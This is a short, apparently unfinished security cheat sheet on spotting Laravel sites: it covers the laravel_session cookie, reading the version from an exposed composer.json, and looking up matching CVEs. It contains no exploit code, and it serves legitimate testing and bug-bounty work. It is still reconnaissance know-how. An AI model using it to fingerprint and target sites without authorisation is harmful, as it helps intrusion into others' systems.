# Laravel Common Bugs

## Introduction

What would you do if you came across a website that uses Laravel?

## How to Detect

Usually in the HTTP response there is a header like this `Set-Cookie: laravel_session=`

1. Find the related CVE by checking laravel version

* How to find the laravel version

By checking the composer file in `https://example.com/composer.json`, sometimes the version is printed there. If you found outdated laravel version, find the CVEs at [CVEDetails](https://www.cvedetails.com/vulnerability-list/vendor_id-16542/product_id-38139/Laravel-Laravel.html)
